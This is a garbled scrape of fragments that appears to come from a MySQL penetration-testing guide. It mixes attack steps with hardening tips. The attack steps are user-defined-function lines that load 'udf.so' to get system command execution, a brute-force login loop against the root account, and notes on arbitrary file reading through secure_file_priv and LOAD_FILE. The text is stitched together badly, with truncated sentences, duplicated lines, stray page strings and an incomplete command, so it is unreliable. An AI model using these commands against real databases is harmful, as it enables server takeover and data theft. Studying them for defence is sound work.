CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so'; CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
for i in 1..1000; do mysql -u root -p'wrong_password' -h -e "opt_command" 2>/dev/null && break; done Use code with caution. 6. Hardening and Remediation Strategies
After placing the file, the attacker runs: mysql hacktricks verified
If left ( "" ), the database can read and write files anywhere on the operating system, subject to OS-level file permissions. To verify this setting from an established SQL session: SHOW VARIABLES LIKE "secure_file_priv"; Use code with caution. Reading Arbitrary Files ( LOAD_FILE )
Enable general and error logs to monitor for suspicious activity or repeated failed login attempts. CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf
Example:
For a quick connection test:
Ensure the root user can only authenticate from localhost .